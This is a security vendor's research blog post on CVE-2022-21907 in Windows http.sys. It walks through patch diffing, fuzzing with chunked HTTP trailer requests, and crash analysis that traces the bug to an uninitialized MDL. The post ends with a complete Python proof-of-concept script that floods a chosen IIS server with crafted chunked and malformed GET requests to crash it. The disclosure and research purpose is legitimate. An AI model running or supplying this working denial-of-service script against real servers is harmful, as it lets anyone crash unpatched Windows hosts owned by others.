Proof of Concept: CVE-2022-21907 HTTP Protocol Stack Remote Code Execution Vulnerability

In this blogpost, we’ll briefly describe how we developed a DoS module for CVE-2022-21907. Instead of viewing it in a result-oriented way, we’ll approach it from a research standpoint, describing the process of developing this module for Core Impact.

On Jan 11th 2022 Microsoft released a Security Update for a RCE vulnerability (CVE-2022-21907) in http.sys. According to Microsoft, this vulnerability affects the following Windows Versions:

Windows 10 Version 1809 for 32-bit Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 21H1 for 32-bit Systems
Windows 10 Version 21H1 for x64-based System
Windows 10 Version 21H1 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 21H2 for 32-bit Systems
Windows 10 Version 21H2 for x64-based Systems
Windows 10 Version 21H2 for ARM64-based Systems
Windows 11 for x64-based Systems
Windows 11 for ARM64-based Systems
Windows Server 2019
Windows Server 2022

This is a long list! What’s more, they say that its exploitation is likely, as “an unauthenticated attacker could send a specially crafted packet to a targeted server utilizing the HTTP Protocol Stack (http.sys) to process packets.”

All the software that uses the non-patched http.sys to handle HTTP protocol is vulnerable. An example of software that uses the driver http.sys as its backend is Internet Information Services (IIS). This means that if the Windows where the IIS server is running was not patched, the target is vulnerable.

Because we like numbers and graphs, let’s do a quick Shodan query:

The results show many possible targets!

Given its impact, we decided to spend some time analyzing this vulnerability.

The Vulnerability

The first thing to do was to understand the nature of the vulnerability and collect all the public information about this CVE.

From the Microsoft website, we can infer that this vulnerability is related to HTTP Trailers:

After finding that this vulnerability is related to HTTP Trailers and before doing a diff between the vulnerable http.sys and the patched one, we started to read all the things related to trailers from the HTTP RFC. While doing this, a few Proof of Concepts (PoCs) for this CVE appeared on Twitter and Github.

All of these PoCs were doing the same thing in order to crash the vulnerable machine:

As can be seen above, it only requires a simple GET request with a special Accept-Encoding.

This was a bit weird. Not only was it incredibly similar to CVE-2021-31166, they were also not using trailers.

Anyway, we then decided to try one of the PoCs. A Windows 10 20H2 was installed without patches and then the IIS server was configured. After that, I used one of the PoCs and the target crashed.

Weird…but awesome!

Analysis of the the crash with Windbg showed it was identical to CVE-2021-31166.

It just didn’t make sense.

We decided to patch the whole system to one month before January 11th 2022(KB5008212) and try the exploit again.

And guess what? It didn’t work. Now everything made sense. It didn’t have anything related to Trailers because it wasn’t similar to CVE-2021-31166, it WAS CVE-2021-31166.

After all of these things, we started to wonder why there multiple PoCs with a large number of stars and forks that people kept retweeting. Moreover, even the MITRE website referenced this PoC.

Honestly, for a moment, we thought we were missing something. It turns out, we were right—it was CVE-2021-31166. So we continued with the following step, which is the diffing between the vulnerable http.sys and the patched http.sys.

Diffing

We took a snapshot, moved the vulnerable http.sys to another machine, and then patched the machine. After that, we moved the patched http.sys as well and reverted the snapshot.

The vulnerable http.sys version was 10.0.19041.1387 and the patched one was 10.0.19041.1466. As was mentioned earlier, we installed all the patches to one month before (December 2021) the patch of the vulnerability. This is a normal practice, since doing a diff between close versions avoids a lot of code not related to the vulnerability.

After doing the diff between these two versions, we got the following result:

cve_2022_21907_image_06_ulpallocatfasttracker

As we can see, the two functions that were most changed were “UlpAllocateFastTracker” and “UlFastSendHttpResponse”. Paying attention to the names of both functions, we made a few observations. With “UlpAllocateFastTracker,” a custom allocator changed, which seemed promising. The differences from the patched “UlpAllocateFastTracker” and the vulnerable one were interesting. The patched one added two memsets in order to initialize with zero. Maybe this was an uninitialized chunk problem?

cve_2022_21907_image_07_ulvariable_header_size

Therefore, these two memsets hinted that a problem with an uninitialized chunk allocated with this function might be present in the vulnerable version. Perhaps it was used as part of the CVE or maybe they realized it when they were patching the vulnerability. We could only try to guess.

Before moving to the other function, “UlFastSendHttpResponse,” we thought that it was better to search if both functions are related. That is, does UlFastSendHttpResponse call UlpAllocateFastTracker? The results were as follows:

Vulnerable Version

Patched Version

This was interesting too! They were related and there was one additional call to UlpAllocateFastTracker in the patched version.

This was a good sign. We decided to analyze UlFastSendHttpResponse. We won’t get into the details here because it’s really large, around 3k lines. In addition, we didn’t reverse it completely because we decided to switch to a dynamic approach after initial analysis showed it would take a significant amount of time to understand the whole process. Instead, we tried a dynamic approach first. To provide a high level explanation, when you do a request to the server, it uses this function to send you the response.

Trying to create a PoC

This was easy to test, we put a hardware breakpoint in the beginning of UlFastSendHttpResponse and did a basic request.

cve_2022_21907_image_11_uifastsendhttpresponse

Perfect!

From this point, the first goal was trying to reach a call to UlpAllocateFastTracker. We did many requests in order to check if any of these requests allowed us to reach it. After doing these for a while, we figured out that UlpAllocateFastTracker was sometimes being called. We put a breakpoint after the call and analyzed the things that FastTracker had. Inside this chunk were many pointers and one of them had the response. Thanks to the reversing of UlpAllocateFastTracker that was done earlier, we knew that some of these pointers were pointers to MDLs.

After this, we decided to do code coverage of the driver.

The code reached was almost always the same.

Then we decided to use the information that Microsoft provided. They told us that it is related to Trailers. We continued reading about Trailers in the HTTP RFC and started experimenting with Trailer requests.

A trailer request looks like this:

GET / HTTP/1.1
Host: host
TE: trailers
Transfer-Encoding: chunked

7\r\n
polakow\r\n
0\r\n
Trailer
\r\n

With that knowledge, we added that to my fuzzer and ran it again. The code flow changed and we were hitting UlpAllocateFastTracker but nothing weird was happening. We did a lot of debugging and still nothing. We were completely lost. It was time to spend time reversing the functions involved and get more knowledge.

While doing that, on January 26th, something new about this vulnerability was published by CoreLight:

Apparently, they had access to an RCE exploit or maybe just access to information about the exploit. It proved quite helpful, explaining two key pieces of information:

1. “The exploit works by spraying an IIS server via several large GET HTTP requests and finishes with a malformed HTTP request.”

2. “The malformed HTTP request in this exploit is missing the ‘HTTP/1.1’.”

Point number one means that for Trailers requests, we can send large GET HTTP requests. We can just change our values to big numbers and payloads. We were using low numbers before, so we expected this to make a big difference!

For instance:

GET / HTTP/1.1
Host: host
TE: trailers
Transfer-Encoding: chunked

[Big number]\r\n
[data]\r\n
0\r\n
Trailer
\r\n

Great!

Point two was the true magic. We did not use any malformed http requests. Moreover, it tells us about the error ‘Missing HTTP/1.1’. This was a BIG HINT.

So, it was time to change our fuzzer logic and try again!

After fuzzing for a while, we got a crash:

Awesome!

The crash

After analyzing the crash, we confirmed that the problem was the lack of initialization, which is what we hypothesized after doing the diff.

Let’s go into what was going on with the crash.

Here’s some of the stack trace:

It seemed that the problem started inside MmUnmapLockedPages.

Let’s look at HTTP!UlFastSendHttpResponse+0x2e872 in order to understand the context:

We could infer that v17 is the FastTracker chunk allocated with UlpAllocateFastTracker because of UlpFreeFastTracker. So, our PoC entered to that if(v17[5].Next) and then called MmUnmapLockedPages.

We changed the code a bit to have better semantics:

This is better.

So FastTracker + 0x50 must be different to 0 in order to enter the block where MmUnmapLockedPages resides. However, there is another piece before that. What’s that v119?

Well, we could see that it was something inside FastTracker (FastTracker + 0x80) and that IDA parsed it as PMDL in MmUnmapLockedPages. It seemed to be a pointer to an MDL (Memory Descriptor List).

Microsoft provides a good explanation of MmUnmapLockedPages:

Excellent!

We then modified our pseudo-code again:

Awesome!

Just changing the data type IDA identified that it was doing mdl->MdlFlags & 1.

Consequently, we had two conditions to reach MmUnmapLockedPages:

FastTracker + 0x50 != 0
MDL->MdlFlags & 1 != 0

With MDL = FastTracker + 0x80 and FastTracker the result of UlpAllocateFastTracker

Our PoC reached MmUnmapLockedPages, so we then checked the values:

We found that we were controlling MDL->MappedSystemVa! (0x4141414141414141)

Obviously, this would generate bad behavior. Additionally, we could see the pointer of the MDL (rdx).

Next, we parsed it:

Well, this was bad.

We’ll stop here with our crash analysis. If you continued analyzing it, you would find that it was a problem with an initialization of an MDL. The key is inside UlInitializeFastTrackerPool.

PoC

After figuring out what was happening, we developed the module for Core Impact.

Because we released it a long time ago and because the patch is from January, we will release a python script for testing your systems. Then, if you want to check if your systems are vulnerable, the PoC is available below and on github.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Exploit developed by the polakow from the past (@ltdominikow)
# This exploit was made for testing own networks and patch affected systems. I'm not responsible if you do another thing with this exploit.
# As a drunk wise man said: "Please, don't be a 'culiao'!" Use this exploit for testing your own network and patch your affected systems.

from colorama import Fore, Style, init
import argparse
import socket
import ssl
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning


def banner():
    print(f"""\n\n{Fore.GREEN}   ******  **      ** ********        ****   ****   ****   ****         ****   **   ****   ****  ******
  **////**/**     /**/**/////        */// * *///** */// * */// *       */// * ***  */// * *///**//////*
 **    // /**     /**/**            /    /*/*  */*/    /*/    /*      /    /*//** /*   /*/*  */*     /*
/**       //**    ** /*******  *****   *** /* * /*   ***    ***  *****   ***  /** / **** /* * /*     * 
/**        //**  **  /**////  /////   *//  /**  /*  *//    *//  /////   *//   /**  ///*  /**  /*    *  
//**    **  //****   /**             *     /*   /* *      *            *      /**    *   /*   /*   *   
 //******    //**    /********      /******/ **** /******/******      /****** ****  *    / ****   *    
  //////      //     ////////       //////  ////  ////// //////       ////// ////  /      ////   /     """)
    print(f"\n\nAuthor: polakow(@ltdominikow)\n{Style.RESET_ALL}")
    print(f"{Fore.RED}[!] Warning: This exploit was made for testing own networks and patch affected systems. I'm not responsible if you do another thing with this exploit.{Style.RESET_ALL}\n")
    print(f"{Fore.CYAN}[*] Patch URL: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21907{Style.RESET_ALL}\n")


def parseArgs():
    parser = argparse.ArgumentParser(description="Description message")
    parser.add_argument("-t", "--target", default=None, required=True, help="IIS Server. For instance: 192.168.1.110")
    parser.add_argument("-p", "--port", default=None, required=True, help="Port of the IIS server. For instance: 80")
    parser.add_argument("-v", "--ipversion", default=None, required=True, help="IP version: 4 or 6")
    return parser.parse_args()


def isServiceRunning(ip, port, ipVersion):

    if port == 443:
        targetURL = "https://"
    else:
        targetURL = "http://"

    if ipVersion == 6:
        targetURL = targetURL + '[' + ip + ']'
    else:
        targetURL = targetURL + ip

    try:
        requests.get(targetURL, timeout=4, verify=False)
    except Exception as e:
        return False

    return True

def checkServerStatus(ip, port, ipVersion):
    if isServiceRunning(ip, port, ipVersion):
        print(f'[*] The server is {Fore.GREEN}running{Style.RESET_ALL}!')
    else:
        print(f'[!] The server is {Fore.RED}not running{Style.RESET_ALL}!')


def exploit(ip, port, ipVersion):

    print("[*] Attacking: %s on port %d" % (ip, port))

    # Evil request

    data = "200\r\n" + "A" * 0x200 + "\r\n" + "200\r\n" + "A" * 0x200 + "\r\n" + "200\r\n" + "A" * 0x200 + "\r\n" + "200\r\n" + "A" * 0x200 + "\r\n"

    if ipVersion == 6:
        payload = "GET / HTTP/1.1\r\nHost: " + '[' + ip + ']' + ":" + str(port) + "\r\nTE: trailers\r\nTransfer-Encoding: chunked\r\n\r\n" + data + data + "0\r\n\r\n"
        payload2 = "GET /\r\nHost: " + '[' + ip + ']' + ":" + str(port) + "\r\nTE: trailers\r\nTransfer-Encoding: chunked\r\n\r\n" + data + data + "0\r\n\r\n"
    else:
        payload = "GET / HTTP/1.1\r\nHost: " + ip + ":" + str(port) + "\r\nTE: trailers\r\nTransfer-Encoding: chunked\r\n\r\n" + data + data + "0\r\n\r\n"
        payload2 = "GET /\r\nHost: " + ip + ":" + str(port) + "\r\nTE: trailers\r\nTransfer-Encoding: chunked\r\n\r\n" + data + data + "0\r\n\r\n"

    # Attack!

    for i in range(0, 100000):
        try:
            # IPv6
            if ipVersion == 6:
                s = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
            else:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

            s.settimeout(5)

            # Attack HTTPS or HTTP

            if port == 443:
                context = ssl._create_unverified_context()
                so = context.wrap_socket(s, server_hostname=ip)

                so.connect((ip, port))
                so.sendall(payload.encode('ascii'))
                if i % 10000 == 0:
                    print("[*] Sending evil payload...")
                so.sendall(payload2.encode('ascii'))
            else:
                s.connect((ip, port))
                s.sendall(payload.encode('ascii'))
                if i % 10000 == 0:
                    print("[*] Sending evil payload...")
                s.sendall(payload2.encode('ascii'))
        except socket.timeout:
            print("[*] Timeout! Checking server status...")
            checkServerStatus(ip, port, ipVersion)
            break
        except Exception as e:
            print(e)
            break


if __name__ == '__main__':
    init(convert=True)

    # Banner

    banner()

    # Args
    args = parseArgs()

    port = args.port
    ipVersion = args.ipversion

    # Check digits

    if not port.isdigit() and not ipVersion.isdigit():
        print("The port must be a number!")
        exit(1)

    # Remove protocol

    if args.target.startswith('https://'):
        ip = args.target.replace("https://", "")
    elif args.target.startswith('http://'):
        ip = args.target.replace("http://", "")
    else:
        ip = args.target

    # Remove backslash

    if ip.endswith("/"):
        ip = ip.replace("/", "")

    # Remove ipv6 http/https

    if ip.endswith("]") and ip.startswith("["):
        ip = ip.replace("[", "").replace("]", "")

    # Check ip version

    if not int(ipVersion) == 6 and not int(ipVersion) == 4:
        print("The IP version is invalid.")
        exit(1)

    # Check server status

    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

    checkServerStatus(ip, int(port), int(ipVersion))

    # Exploit!

    exploit(ip, int(port), int(ipVersion))

RCE/LPE

Regarding RCE, it is possible, hard and unstable, but possible. We are still researching a way to do something reliable. In addition to that, it is necessary to mix this vuln with an infoleak.

Another idea that’s easier than a RCE is to try g to create a LPE. We can leak the offsets of our chunks using known techniques and manage the pool better.

Meet the Author

Lucas Dominikow

Exploit Writer

Core Security, by HelpSystems

View Profile